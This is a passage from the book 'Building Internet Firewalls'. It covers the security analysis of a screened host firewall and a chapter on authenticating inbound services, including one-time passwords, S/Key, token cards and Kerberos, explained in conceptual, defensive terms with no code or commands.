Allow outgoing passive-mode FTP connections. The FTP-1 and FTP-2 rules allow the command channel, and the FTP-3 and FTP-4 rules allow the data channel. In fact, FTP-3 and FTP-4 allow any TCP connection to be opened from the services host to any host on the Internet, as long as the port numbers used on both ends are above 1023.

SMTP-1 and SMTP-2

Allow outgoing mail from the services host to the outside world.

SMTP-3 and SMTP-4

Allow incoming mail from the outside world to the services host.

NNTP-1 to NNTP-4

Allow Usenet news both ways between your news server and your service provider's news server.

HTTP-1 and HTTP-2

Allow the services host HTTP proxy server to connect to the HTTP servers on any machine on the Internet. Actually, these rules allow any TCP client program on the services host using a port above 1023 to contact any server program on any host on the Internet using any port. This is done so that the HTTP proxy server can contact HTTP servers on nonstandard port numbers (i.e., other than port 80). As broad as these rules are, it's important that these rules allow only outgoing connections; they can do this by examining the ACK bit. Note the overlap between these rules and rules FTP-3 and FTP-4; removing either set would still allow both FTP and HTTP clients access to most servers.

DNS-1

Allows UDP-based DNS queries and answers from the services host DNS server to DNS servers in the outside world.

DNS-2

Allows UDP-based DNS queries and answers from Internet DNS servers to the services host DNS server.

DNS-3 and DNS-4

Allow external UDP-based DNS clients to query the DNS server on the services host, and it to answer them.

DNS-5 and DNS-6

Allow TCP-based DNS queries from the services host to DNS servers on the Internet, as well as answers to those queries. Also allow zone transfers in which the services host DNS server is the secondary server and an external DNS server is the primary server.

DNS-7 and DNS-8

Allow TCP-based DNS queries from the outside world to the services host DNS server, as well as answers to those queries. Also allow zone transfers in which the services host DNS server is the primary server and an external DNS server is the secondary server.

Default-1 and Default-2

Block all packets not specifically allowed by one of the preceding rules.

9.2.3 Analysis

Just how good a firewall is this? The short answer is, "not very." Let's consider it in relation to the strategies and principles discussed in Chapter 3, and in comparison to the screened subnet architecture we configured in the first example.

9.2.3.1 Least privilege

You can see the principle of least privilege in action in some places in this setup. For example, configuring SMTP so that outgoing mail goes out via the services host rather than directly to remote systems is an application of least privilege. Why? Because it lets you control more tightly how internal systems connect to external systems. (In this case, it makes it unnecessary for internal systems to talk directly to external systems in order to provide this service.)

On the other hand, having the services host fulfill so many roles (and thus requiring it to have the aggregate set of privileges required for all those roles) is definitely not in accord with the principle of least privilege. The services host has far too much privilege for most of the services it needs to provide.

The screened subnet architecture we described earlier in this chapter does a somewhat better job of applying the principle of least privilege than the screened host architecture described in this section.

9.2.3.2 Defense in depth

The principle of defense in depth is almost completely missing from this setup. Internal hosts are protected from the outside world by the filtering router and the services host, but nothing protects them from the services host if it is compromised. The filtering router and the services host are providing separate protection, not backing each other up. If either one is compromised, the entire site is compromised.

The screened subnet architecture we described earlier in this chapter does a much better job of applying the principle of defense in depth.

9.2.3.3 Choke point

The principle of a choke point is clearly applied in this example of a screened host architecture, because everything between internal clients and the Internet comes through at least the filtering router. Further, much of it comes through the services host, via proxies.

The screened subnet architecture described earlier in the chapter does a slightly better job of applying the principle of a choke point, but not by much.

9.2.3.4 Weakest link

The obvious weak link to attack in the screened host architecture is the services host. A compromised services host is going to severely affect the security of the rest of the internal hosts, because it's on the same network as these internal hosts and because there is nothing to protect them from it. With the screened subnet architecture, on the other hand, the interior router protects the internal hosts from the bastion host.

Further, because of the multitude of services being provided by the services host, it's more likely an attacker will be able to find a way to break in than with the bastion host in the screened subnet example.

All in all, the screened subnet architecture presents a much stronger "weakest link" to an attacker.

9.2.3.5 Fail-safe stance

You can see the principle of a fail-safe stance applied through the packet filtering rules specified for the screened host architecture. In general, the rules specify what you're going to allow, and deny everything else by default. This is a fail-safe approach, because if something unanticipated comes along (for example, a new service), it won't be allowed through your firewall, unless, of course, it mimics or is tunneled through some other service that you do allow.

However, the design of the screened host architecture itself is not fail-safe. If the services host is compromised, your whole site's security is severely compromised. The screened subnet architecture is much better about this.

9.2.3.6 Universal participation

If this is your site's only connection to the Internet, you've got involuntary universal participation: everybody has to go through the firewall to get to the Internet. Voluntary universal participation would be better, but that would require some user education concerning the goals of and the need for your security measures.

In terms of the universal participation principle, there really isn't much difference between the screened subnet and screened host architectures.

9.2.3.7 Diversity of defense

There are few opportunities here to apply the principle of diversity of defense, because you pretty much have only one of everything: there is only one router on which to set up filtering and only one services host.

This is another area in which the screened subnet architecture is superior to the screened host architecture.

9.2.4 Conclusions

The screened host architecture may be cheaper to implement than the screened subnet architecture, but it's much less secure. There is little or no redundancy in the design, and it's not really fail-safe. Even so, it is providing fewer services than the screened subnet architecture, and it can't increase either the security or the services.

To do a screened host architecture right, you pretty much need to dedicate a machine to being the services host and nothing else; you essentially need a bastion host. At that point, if you compare the equipment between a screened subnet architecture and a screened host architecture, you see that the only difference in equipment is either:

  • For a two-router screened subnet architecture - a second router.

  • For a one-router screened subnet architecture - a third interface on your single router.

The cost of a suitable second router really isn't that much: a couple of thousand dollars. The cost of an additional interface for a router is often much less: a few hundred dollars difference in price between a two-interface and a three-interface model of the same router. The incremental cost might actually be nothing if you already have a suitable spare PC lying around, and if you can use one of the PC-based filtering packages freely available off the Internet (such as Drawbridge or KarlBridge, described in Appendix B, Tools).

The difference between the screened subnet architecture and the screened host architecture is gigantic in terms of security, scalability, and services. You can't reasonably offer inbound services of even the most limited type in a screened host architecture. You can't increase anything, even the number of supportable machines, without making an architecture change.

Previous: 9.1 Screened Subnet Architecture | Building Internet Firewalls | Next: 10. Authentication and Inbound Services
9.1 Screened Subnet Architecture | Book Index | 10. Authentication and Inbound Services


[Chapter 10] Authentication and Inbound Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 9.2 Screened Host Architecture Chapter 10 Next: 10.2 What Is Authentication?

10. Authentication and Inbound Services

Contents:
Risks of Using Inbound Services
What Is Authentication?
Authentication Mechanisms
Complete Authentication Systems
Network-Level Encryption
Terminal Servers and Modem Pools

This book concentrates primarily on how to safely let your users go out to the Internet, but there's also another side to Internet security: how do you safely allow users to come in from the Internet?

For anonymous services, such as accessing an anonymous FTP server, HTTP server, or Gopher server that you provide, the solution is clear: you protect the servers as best you can to allow outsiders to access the information you want to provide and to prevent them from accessing anything else. In these anonymous services, all the information you release is intended to be readable by anybody. (See the discussion of these services in Chapter 8, Configuring Internet Services.)

For nonanonymous services, however, the situation is much more complex. For nonanonymous services (or "authenticated" services, as they're commonly called), the user who is attempting to access the service first needs to prove his identity to your server so that your server can decide whether the user is authorized to do what he is requesting. Examples of authenticated services you might want to provide include:

  • Allowing your users to log in (via Telnet) from the Internet, e.g., while they're away at conferences or visiting other sites.

  • Allowing researchers and collaborators from affiliated sites to log in to your systems.

  • Allowing selected customers or clients to log in to your systems.

Authentication is basically verified, proven identification. How do users prove to a system that they're really who they say they are? Don't confuse authentication (figuring out who somebody is) and authorization (figuring out what they're allowed to do). Authentication is a prerequisite for authorization (unless everybody is authorized to do something, such as anonymous FTP), but they are separate and distinct concepts.

This chapter focuses on inbound services and how authentication can reduce the risks associated with using these services. It also touches on a few additional encryption and authentication issues that apply to both inbound and outbound services, such as network-level encryption and where to place modem pools.

Cryptography

What are the basic differences between private and public key cryptography?

Private key algorithms include the Data Encryption Standard (DES) (used by Kerberos), IDEA, and the Skipjack algorithm that underlies the Clipper Chip. With private key, a single key is shared by two parties and must be kept secret by both of them (this is the private key). The sender of a communication encrypts the message with this secret key; the recipient must decrypt it with the same key. To communicate with someone securely, you must tell that person the cryptographic key you are using; you must also keep anyone else from discovering or overhearing the key. This process, called key distribution, is difficult and cumbersome to do securely.

Public key algorithms include RSA, and Diffie-Hellman. With public key systems, a mathematical process generates two mathematically related keys for each individual. A message encrypted with one key (the public key) can be decrypted only with the other key (secret or private key). Public keys can be known to anyone, but secret keys must be kept so. To transmit a secret message, the sender encrypts his message with the public key of the intended recipient. The recipient decrypts that message with his own secret key; the only key that will decrypt the message is the secret key associated with the public key used to encrypt it. Public key cryptography also gives you the ability to "sign" messages. If the sender signs a message with his secret key, the recipient can validate the signature by applying the sender's public key to the message; if the public key successfully decrypts the message, it must have been signed with the corresponding secret key.

Public key algorithms are slow, often thousands of times slower than equivalently secure private key algorithms. For this reason, public and private key algorithms are often used in conjunction with each other. For example, the Pretty Good Privacy (PGP) encryption package works this way. To send an encrypted message to a recipient, the sending PGP program generates a random "session key." This session key is used with a private key algorithm to encrypt the message to be sent (this is fast). The session key itself is encrypted with a public key algorithm (this is slow, but the session key is small, especially compared to the whole message), using the recipient's public key, and is sent along with the encrypted message. The recipient first uses the public key algorithm and his secret key to decrypt the session key (this is slow, but the session key is small), and then uses the session key and private key algorithm to decrypt the whole message (this is fast). For a detailed discussion of PGP, see Simson Garfinkel's book, PGP: Pretty Good Privacy (referenced in Appendix A, Resources).

NOTE: Although this chapter mentions aspects of cryptography - cryptography is the basis for many of the authentication mechanisms described in this book - we do not attempt to discuss cryptography itself here in any depth. There are many excellent books on this broad and complex topic, and we can't hope to do justice to the topic in a few pages here, where our focus is practical, rather than theoretical. You will be better served by referring to a book such as Bruce Schneier's Applied Cryptography for a definitive treatment. (See Appendix A for information.)

10.1 Risks of Using Inbound Services

Inbound services pose a number of security risks. In this section, we focus on Telnet as an example, but the same problems, principles, and solutions apply to other authenticated services (such as nonanonymous FTP) as well.

There are three principal risks associated with allowing inbound services:

Hijacking

Having someone steal a connection after the user has authenticated himself or herself to your system.

Packet sniffing

Having someone read confidential data as it passes across the network, without interfering with the connection itself.

False authentication

Having someone who is not a valid user convince your system he or she is a valid user.

10.1.1 Hijacking

Hijacking attacks allow an attacker to take over an open terminal or login session from a user who has been authenticated by the system. Hijacking attacks generally take place on a remote computer, although it is sometimes possible to hijack a connection from a computer on the route between the remote computer and your local computer.

How can you protect yourself from hijacking attacks on the remote computer? The only way is to allow connections only from remote computers whose security you trust; ideally, these computers should be at least as secure as your own. You can apply this kind of restriction by using either packet filters or modified servers. Packet filters are easier to apply to a collection of systems, but modified servers on individual systems allow you more flexibility. For example, a modified FTP server might allow anonymous FTP from any host, but authenticated FTP only from specified hosts. You can't get this kind of control from packet filtering. Connection control at the host level is available from wrappers in the TIS FWTK (the netacl program) or Wietse Venema's TCP Wrapper; these may be easier to configure than packet filters, but provide the same level of discrimination - by host only.

Hijacking by intermediate sites can be avoided using end-to-end encryption. (See the discussion of network-level encryption later in this chapter.) If you use end-to-end encryption, intermediate sites won't be able to encrypt the data stream properly (because they don't know the appropriate key), and therefore won't be able to hijack sessions traversing them.

Hijacking is a fairly technical attack. The overall risk to an organization from hijacking attacks is probably pretty small. Most sites choose to accept this small risk and allow some accounts to access systems from anywhere on the Internet. You may decide that hijacking is an acceptable risk for your own organization, particularly if you are able to minimize the number of accounts that have full access and the time they spend logged in remotely. However, you probably do not want to allow hundreds of people to log in from anywhere on the Internet. Similarly, you do not want to allow users to log in consistently from particular remote sites without taking special precautions.

10.1.2 Packet Sniffing

Attackers may not need to hijack a connection in order to get the information you want to keep secret. By simply watching packets pass - anywhere between the remote site and your site - they can see any information that is being transferred. Packet sniffing programs automate this watching of packets.

Sniffers may go after passwords or data. There are different risks associated with each type of attack. Protecting your passwords against sniffing is easy: use one of the several mechanisms described later in this chapter to use nonreusable passwords. With nonreusable passwords, it doesn't matter if the password is captured by a sniffer; it's of no use to them, because it cannot be reused.

Protecting your data against sniffers is more difficult. You could encrypt the data at your site if you always knew in advance which data to encrypt, and if you could rely on the remote site to have the appropriate decryption programs. It isn't safe for a user to ask for data to be encrypted while the user is logged in across the network; the sniffer will see the commands issued by the user (perhaps even the key used for encryption), and may be able to use that information to decrypt the data. If the user doesn't provide a key directly, the system has to somehow use a stored key, which might be compromised in other ways (such as a break-in to the system doing the encryption).

Unfortunately, encryption in advance is not practical. It may serve if you need to transfer files occasionally, but it isn't going to provide any kind of meaningful connection. In order to preserve data confidentiality for real interactive access, you'll need end-to-end encryption. Most end-to-end encryption systems require advance coordination between the two ends in order to set the system up. If you have ongoing sensitive interactions with particular sites, however, it may be worth the effort.

As we've described for hijacking, if only a small number of people from a site are doing occasional work from random hosts over the Internet, most organizations are willing to accept the relatively small risk associated with the sniffing of data. However, you need to make sure that nobody at your site purposefully accesses confidential information across the Internet without taking precautions. Moreover, you certainly do not want to set up situations in which confidential information consistently crosses the Internet unencrypted. For example, you would not want a human resources person to work from home on your unencrypted personnel files across the Internet.

10.1.3 False Authentication

The third main risk to inbound services is false authentication: the subversion of the authentication that you require of your users, so that an attacker can successfully masquerade as one of your users.

In most cases, if you have a secret you want to pass across the network, you can encrypt the secret and pass it that way. There is one case in which the encryption solution does not work, and that is the case in which information does not have to be understood to be used. For instance, encrypting passwords will not work, because an attacker who is using packet sniffing can simply intercept and resend the encrypted password without having to decrypt it. (This is called a playback attack, because the attacker records an interaction and plays it back later.) Therefore, dealing with authentication across the Internet requires something more complex than encrypting passwords. What you need is an authentication method where the data that passes across the network is nonreusable, so an attacker can't capture it and play it back.

The next section describes authentication and how it works. As we explain there, there are many types of authentication methods, some more secure than others.

Previous: 9.2 Screened Host Architecture | Building Internet Firewalls | Next: 10.2 What Is Authentication?
9.2 Screened Host Architecture | Book Index | 10.2 What Is Authentication?


[Chapter 10] 10.2 What Is Authentication?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.1 Risks of Using Inbound Services Chapter 10
Authentication and Inbound Services 		Next: 10.3 Authentication Mechanisms

10.2 What Is Authentication?

Usually, people think of authentication in terms of passwords. Although passwords are frequently used for authentication, there are actually a variety of authentication mechanisms. These mechanisms can generally be categorized as verifying one or more of the following:

Something you are

This is the field of biometrics, including techniques such as fingerprint scans, retina scans, voiceprint analysis, and so on.

Something you know

This is a traditional password system.

Something you have

This includes mechanisms such as challenge-response lists, one-time pads, smart cards, and so on.

Some systems combine these approaches. For example, a smart card that requires the user to enter a personal identification number (PIN) to unlock it is a combination of something you have (the card) and something you know (the PIN). In theory, it is considered a good idea to combine at least two mechanisms, because people can steal either one: the thing you have is susceptible to ordinary theft, and the thing you know is compromised by sniffing if it passes over the Internet; but it's rare for somebody to be able to get both at once. Automatic teller machines use this combination; however, ATMs also demonstrate the flaw in the theory: when you are authenticating (standing at the ATM), you reveal what you have (your card) and what you know (your PIN) simultaneously, making yourself vulnerable to a thief who watches you use the machine to capture your PIN, then steals your card as you leave.

10.2.1 Something You Are

There are many types of biometric systems in use or under development today; they test such diverse personal characteristics as your voice, your fingerprint or handprint, your retina, your signature, and your typing patterns. Biometric systems are extremely attractive, because they get around the problems associated with using things that can be stolen or revealed. (Even the horror movie scenario of hacking off somebody's thumb to use in the fingerprint scanner is taken into account; most scanners insist that a pulse be present.) Unfortunately, biometric systems are not practical for normal Internet applications.

Commonly available computer hardware is not capable of reading fingerprints, much less retinas. Voiceprint technology is more tempting; it's not unusual for machines these days to have microphones. But it's not universal, either, and you can't guarantee that every machine you'll want to log in from has a microphone, much less the client application to digitize and transmit your voice. Moreover, every machine may not have the disk space and network bandwidth needed for this approach. Finally, if the biometric information has to be communicated from where you are to where it can be checked, you run the risk of an attacker's capturing it and replaying it later, unless you have some way of encrypting or otherwise protecting it.

Even if every machine had all the capabilities it needed, reliable voiceprint identification is surprisingly hard to accomplish. Many people wish to use their computers even when they have head colds, which throw off many voice-recognition systems. You can't use a fixed phrase as a password, or you would be vulnerable to a literal playback attack involving a tape recorder. (These problems have been addressed in dedicated systems, but there are no widely available authentication systems for general-purpose computers that can deal with them, and it's not at all trivial to develop one.) You can't use a different phrase every time, because voiceprint comparison on arbitrary text is not a real-time operation - unless you have a spare supercomputer lying around to do it with. Almost everybody wants to log in with a delay measured in seconds, at worst; getting back to the user with an answer in a few hours is not going to work.

Keystroke timing, used to characterize someone's typing pattern, is a surprisingly reliable biometric identification system and requires no special hardware. The computer provides a phrase to type, and then times the gaps between characters as you type it. On a phrase of reasonable length, people type in an identifiable pattern, and imitating it is much harder than it looks. Like voiceprints, keystroke timings may change for environmental reasons; in the case of keystroke timings, colds aren't a problem, but people have great difficulty authenticating while drunk. (This is not necessarily a disadvantage, of course.) The genuine disadvantage is that keystroke timings can be gathered only at the machine to which the keyboard is attached. That means that use of this method across the Internet requires modified clients. In addition, there are some people, mostly poor typists, who have trouble ever authenticating because their typing patterns are inconsistent.

10.2.2 Something You Know

If the long-lost heir to a fortune turns up in a novel, you can bet that fingerprints aren't going to be available to do biometric authentication. Instead, the claimant is probably going to try to prove that she is who she says she is because she knows the name of the stuffed animal she slept with at age three. This is authentication by knowledge, just like the traditional UNIX password system. (And, just like traditional UNIX passwords, the claimant's answers can be faked if she's a good guesser and gets enough tries.)

Authentication that depends on something you know relies on that something's being both hard to guess and secret. In order for you to authenticate reliably, you have to know the secret reliably, too. This isn't as easy as it sounds. Most people are bad at making up and remembering unguessable things, and they're worse at keeping secrets. If you use short keys, it's easy to guess them; if you use long keys, it's hard to remember them. If you write them down, you're basically converting to a different type of authentication; now, it's something you have.

System administrators who unblushingly tell their users never to write down passwords probably have a few stashed in their wallets anyway; this is a combination of "what you know" and "what you have." "What you know" is how to read your own handwriting, and which slip of paper contains the passwords, rather than last week's lunch order. "What you have" is the slip of paper itself.

Despite all of the risks of "what you know" systems, it is still practical to use such systems, as long as you aren't revealing the secret to everybody in the near vicinity every time you authenticate. There is a reason why passwords are so popular: they're fast, they're cheap, and, in practice, people don't forget them or lose the pieces of paper all that often. However, it is absolutely impractical to pass them across the Internet in any form that can be used safely.

Is there any way to use a "what you know" system safely on the Internet? Yes. Use passwords, but make sure that they are nonreusable (one-time) passwords.

There are two ways to make traditional, memorized passwords nonreusable. One is to include an encrypted time-stamp - this is the method that Kerberos uses. As long as you can't modify the time-stamp without knowing the password, this prevents playback. Unfortunately, it requires two things:

  • Special client software that knows how to time-stamp the password.

  • Synchronized time between the client and the server. If the server and the client have different times, the password will be either invalid already or not yet valid when it arrives.

The other way to make traditional, memorized passwords nonreusable is to use a challenge-response system. With such a system, the password you give depends on a prompt that the server gives you. Challenge-response is the traditional method for identifying yourself at a speakeasy, entering a military camp, or meeting fellow spies in art museums. It may seem to be an impractical approach, because in order to be reasonably safe from playback attacks you need a wide variety of challenges, each with a separate response. If you have trouble remembering one password, you certainly aren't going to remember 47 of them.

In fact, however, challenge-response systems for computers are designed so that instead of memorizing the response to each challenge, you memorize a rule for converting the challenge into a response. This concept has yet to become popular as a pure "what you know" option, because it's difficult to apply to a large number of people. A rule like "reverse the first three letters, capitalize the fourth, delete the fifth, and uppercase the rest of them" is easy to program, but it's not necessarily easy to represent so that you can have a different rule for each user. Even if you can remember your own rule, you're apt to follow along the challenge with a finger, muttering the rule to yourself while you try to implement it; someone watching over your shoulder can pretty easily determine the rule.

10.2.3 Something You Have

In practice, the most successful authentication systems for Internet use today are based on the third type of authentication: "something you have." What you have may be a printed list of single-use passwords or an electronic card; it's usually, but not always, combined with "something you know."

The use of electronic cards makes it practical to use challenge-response or time-based encryption. For challenge-response, you encode in the card itself the rule that converts the challenge to the response. For time-based encryption, you encode in the card both the time source and the encryption smarts. Either way, you can do authentication without needing modified clients or users with trick memories.

Using printed lists of passwords is generally referred to as using one-time passwords. This confuses people because all nonreusable passwords are good only one time, by definition. Printed password lists are called that because they resemble a spy device called a one-time pad that consists of a pad of paper with different instructions on each page. You encrypt one message with each page, so that the opposite side doesn't get multiple chances to break the code.[1]

[1] In fact, printed one-time password lists resemble one-time pads so closely that it's inadvisable to bring one to the attention of a customs agent when travelling internationally.

Previous: 10.1 Risks of Using Inbound Services | Building Internet Firewalls | Next: 10.3 Authentication Mechanisms
10.1 Risks of Using Inbound Services | Book Index | 10.3 Authentication Mechanisms


[Chapter 10] 10.3 Authentication Mechanisms

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.2 What Is Authentication? Chapter 10
Authentication and Inbound Services 		Next: 10.4 Complete Authentication Systems

10.3 Authentication Mechanisms

In order to use any of the methods of authentication we've outlined above, you need hardware or software to implement them. This section discusses some of the commonly available hardware and software authentication mechanisms that are at the heart of authentication systems (in particular, it discusses those supported by the TIS FWTK, which is the most widely available system). The most popular of the full-blown systems are discussed in "Complete Authentication Systems" later in this chapter.

10.3.1 One-Time Passwords

There are two ways a one-time password system may work:

  • The list can be generated randomly, and a copy kept by the user and the system.

  • The list (or, more likely, a specific entry from the list) can be generated on demand by the user and validated by the system.

The problem with keeping a list on the system is that if the system is compromised, so is the list, and the list could then be used for future access. This is as bad as having someone snoop on a reusable password while you use it.

The TIS FWTK supports an elegant, one-time password solution called S/Key, originally designed by Leslie Lamport and developed by Bellcore, which addresses this problem. While it allows a system to reliably authenticate a user, there is nothing on the system that compromises the user's password if the system itself is compromised. The system has the ability to validate a user's current response, but does not have the ability to predict what that user's next response will be.

S/Key works by iteratively applying a cryptographically secure hash algorithm, starting with some initial seed value. A cryptographically secure hash algorithm is one that takes an arbitrary-sized input and produces a much smaller output (something like a checksum) that has two special properties:

  • The input cannot be regenerated from the output; thus, it's not simply a compression or encryption algorithm.

  • The probability of two different inputs (particularly two different inputs of the same size) producing the same output is vanishingly small.

S/Key uses such an algorithm, known as MD4.[2] S/Key works by starting with a seed (which is either provided by the user or generated randomly), and applying MD4 iteratively to get a sequence of keys. It applies MD4 to the seed to get the first key, applies MD4 to the first key to get the second key, applies MD4 to the second key to get the third key, and so on. In order to validate a user, the system has to know some key (call it key number n) in the sequence. The system prompts the user for the previous key (key n-1), applies MD4 to the user's answer (supposedly key n-1), and checks to see if the result is the key n that it knows. If the result is the key n, the user must have supplied the correct key n-1.

[2] MD4 stands for Message Digest function #4 and was developed by Ron Rivest, the codeveloper of the RSA algorithm.

S/Key encodes each key into a series of short words, so they are easier for a user to read and type, rather than simply generating a random-looking jumble of characters. Figure 10.1 shows how S/Key works.

Figure 10.1: How S/Key works

Because MD4 is nonreversible (you can't determine the input given the output), the system can't easily figure out what key n-1 is, even though it knows key n. All the server can do is to verify that key n-1 (when presented by the user) is the key that generates key n. This means that even if an attacker can somehow obtain key n (for example, by snooping on a user's login session), he won't be able to easily figure out the next key (key n-1).

S/Key isn't absolutely invulnerable to attack. Several attacks are possible:

Brute force attacks

Attackers could try a whole series of possibilities for key n-1 until they found one that MD4 translated to key n. However, this type of attack is very unlikely to succeed. Because of the size of the key space (the number of possible keys) and the computation requirements of the MD4 algorithm, a brute force approach of this kind is considered to be computationally infeasible for all but the most serious and well-financed attackers. (It would probably take a significant amount of supercomputer time before they found the right key.)

Dictionary attacks

If the user provides the initial seed (rather than having the initial seed be generated randomly), dictionary attacks are possible. Attackers could guess at the seed in the same way that they might guess at reusable passwords; they'd typically try things like words from the dictionary, names, places, etc. To these words, they would apply the MD4 algorithm an appropriate number of times to see if it generates a key they've seen used.

Modified sniffing attacks

An attacker can run a packet sniffer and collect the beginning of an S/Key password (all but the last few characters), and then try all the possible combinations for the last characters, before the user finishes. This relies on extremely delicate timing, but in Telnet connections, user input is frequently set keystroke by keystroke as it is generated. This creates a lag which is significant for a computer. An attacker probably won't be able to try all possible combinations, but may be able to try all possible combinations that make English words.

There are two ways for users to use S/Key: either keys can be generated on demand, or the user can be supplied with a printed list of keys.

To generate S/Key keys on demand, the user needs a computer and a program to generate them. That user will have to provide the seed and the key number desired, and the program will iterate the MD4 algorithm that many times to generate the key desired. The seed will have to be either entered by the user or read from a file on the computer. If the seed is entered by the user, the user would probably pick a seed the same way he'd pick a password. Because users are notoriously poor at picking passwords, this makes the system subject to dictionary attacks, as we've described above. If the seed is read from a file, it can be more random (and therefore less guessable) than something the user would provide, but you have to worry about the risks - probably low - of the computer or file being stolen.

The alternative way to use S/Key is to have the system generate and print a list of keys, enough keys to last the user for a reasonable period of time. In this case, the system randomly generates the initial seed, thus protecting itself against dictionary attacks. The printout should simply be a numbered list of keys, with no further identification or explanation. It is possible that the list could be stolen from a user, but you have to decide which you think is more likely: that the list will be stolen (and that the thief will know what it is and what to do with it), or that the user's session will be snooped on. If your users are generating keys on demand, they're probably using a seed that's subject to dictionary attack (otherwise, they would find it too hard to remember the seed); if one of their sessions is snooped on, their keys can be attacked.

We think that using a seed that's subject to dictionary attack is a bigger risk than having a list of keys stolen, so we prefer using printed lists of keys to using keys generated on demand.

10.3.2 Time-based Passwords

Time-based password systems, such as those implemented by Security Dynamics products, are a special type of one-time password. In such a system, the password varies every minute or so, by an algorithm known to the system and the user's authentication device. This device is typically a small card, which Security Dynamics calls SecurID, with a liquid crystal display readout for the current password. One possible algorithm would be to encrypt the current time with a key known by the system and programmed into the card. With such an algorithm, the system would have to make allowances for clock drift (i.e., the clock in the card running at a slightly different rate from that of the system clock).

The Security Dynamics cards are supported by a wide variety of commercial products. The TIS FWTK doesn't support the cards directly, but it includes hooks to libraries that you can license separately (at a significant cost) from Security Dynamics.

The Security Dynamics cards are not without their critics. Various security professionals have expressed concern over Security Dynamics' decision to use a secret, proprietary encryption algorithm, rather than an algorithm, such as DES or IDEA, that has been subjected to public scrutiny and analysis. Other people don't like the fact that some versions of the Security Dynamics cards combine "something you have" with "something you know" by having the user send a traditional password over the Internet along with the key displayed by the card; if an attacker monitors a connection made using the card, and then steals the card itself, he now has everything he needs to break in. Finally, since the cards don't have replaceable batteries, the entire card has to be replaced when the batteries die (typically after about three years).

On the plus side, the keypad-less Security Dynamics cards are user-friendly; it's hard to use something incorrectly when it has exactly one button to press. If the button is accidentally pressed, nothing horrible happens; it will wear the battery down faster, but it won't make it impossible for you to authenticate. Also, because the cards turn themselves off as soon as the displayed key times out, pressing the button accidentally doesn't wear the battery down that fast.

By contrast, cards that require PINs are more complex to use and usually disable themselves if the wrong buttons are pressed too often. This means they can't be kept loose in a purse or backpack without extra protection. Keypad-less Security Dynamics cards are perfectly happy rattling around in a purse or backpack. The three-year battery life is also arguably about the expected lifetime of an authentication mechanism anyway; at the end of three years, you may want to change the entire system, not just the batteries.

Programming a Security Dynamics card, e.g., to set it for the system with which it needs to synchronize, generally requires special hardware.

10.3.3 Challenge-Response Schemes

Challenge-response systems are another way to support nonreusable passwords.

The TIS FWTK supports the SNK-004 card from Digital Pathways for challenge-response. When the user attempts to log in, the system generates a random challenge. The user unlocks the SNK-004 card with a 4-digit PIN, and then keys in the challenge. The card encrypts the challenge, using the DES algorithm and a key programmed into the memory of the card, and displays the encrypted result. The user sends the result back to the system as his response to the challenge.

In the meantime, the system has encrypted the same challenge with the key that is supposed to be in this user's card. If the system's result is the same as the user's response, then the user has successfully authenticated himself. All that has passed over the wire (and thus all that could be snooped on) is the random challenge and the encrypted result: not the user's PIN (used to unlock the SNK-004 card) or the key (programmed into the memory of the SNK-004 card, and known by the system).

Figure 10.2 shows how this challenge-response works.

Figure 10.2: How the SNK-004 card works

The TIS FWTK includes, for free, almost everything you need to support the SNK-004 cards; the only exception is a DES library, several of which are available for free on the Internet.

Digital Pathways also sells programs for Macintosh, MS-DOS, and Microsoft Windows that emulate the SNK-004 card in software. Users who carry portable computers they log in from (or who always connect from the same desktop computer) will probably find it more convenient to use that software than to carry the separate SNK-004 card.

SNK-004 cards can be configured to disable themselves if the wrong PIN is entered more than five consecutive times. Unfortunately, accidentally turning on the card counts as a "wrong PIN" attempt, so the card can end up disabling itself if it's floating around loose in your luggage and something keeps pressing the "On" button; many people carry them in hard cases to prevent accidental activations. (Digital Pathways doesn't provide a hard case, but an 8mm tape case makes a good improvised one.) Digital Pathways reportedly has a new card to replace the SNK-004 that addresses this problem and may have other new features.

The SNK-004 can be programmed from its own keyboard with no special hardware, but anybody who doesn't do it every day will need to step through the procedure from the manual. (Warning: The SNK-004 programming procedure makes VCR programming look intuitive by contrast!) Programming hardware is available, and is probably a useful investment if you need to initialize more than a handful of the units.

Previous: 10.2 What Is Authentication? | Building Internet Firewalls | Next: 10.4 Complete Authentication Systems
10.2 What Is Authentication? | Book Index | 10.4 Complete Authentication Systems


[Chapter 10] 10.4 Complete Authentication Systems

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.3 Authentication Mechanisms Chapter 10
Authentication and Inbound Services 		Next: 10.5 Network-Level Encryption

10.4 Complete Authentication Systems

There are two common freely available systems that allow you to avoid sending reusable passwords over the Internet. These are Kerberos and the authentication server portion of the TIS FWTK. The number of commercial authentication solutions is growing as well.

10.4.1 Kerberos

Kerberos was developed at MIT by Project Athena (the same folks who developed the X Window System). It is designed to provide authentication and encryption services through modified versions of standard clients and servers, e.g., Telnet clients and servers.

Kerberos provides strong authentication in a distributed environment, and it is widely available. Some vendors provide Kerberos support with their operating systems; MIT has freely available implementations for many versions of UNIX; and the code is freely available if you wish it to port it to an operating system that does not yet have an implementation.

Kerberos isn't an ideal solution, though. There are three major problems with it:

  • Kerberos requires custom client and server software. As with proxy systems, this limits your choice of client and server software. If the software you want to use doesn't support Kerberos, and if you can't modify it to support Kerberos (because the source code isn't available, or because you simply don't have the time or expertise required), you're out of luck, and you won't be able to use it. Unlike proxy systems, Kerberos does not let you use custom user procedures to make Kerberos work with arbitrary client/server software.

  • Kerberos tends to be difficult to set up and manage. Unless your operating-system vendor supports Kerberos (or you can find a third-party vendor who supports it for your platform), you'll have to obtain the Kerberos software and integrate it into your environment yourself. This is a nontrivial task, typically much more difficult than the integration work required for most other solutions outlined in this book. Once Kerberos is set up, management of it provides another ongoing challenge. Kerberos requires a dedicated, carefully secured server, which is accessible to all clients.

  • Kerberos doesn't scale up well beyond a single administrative domain (a single set of machines managed in common, which share user names and passwords). Each Kerberos realm (the Kerberos term for a single administrative domain) is independent. To do inter-realm authentication, the Kerberos servers in the two realms essentially have to trust each other, and have to share a key known only to each other. A separate key is required for each pair of realms that are going to do inter-realm authentication; as the number of realms involved increases, the number of keys required increases geometrically, to the point where it quickly becomes unmanageable.

Kerberos shows great promise for the future, particularly if more sites adopt the Distributed Computing Environment (DCE), which uses Kerberos as the basis of its security. It could very well become the de facto standard mechanism for authentication on the Internet sometime in the next decade or so. In order for that to happen, though, it will need wider support from developers and vendors, and easier setup and maintenance. Meanwhile, it will probably only be used within individual sites.

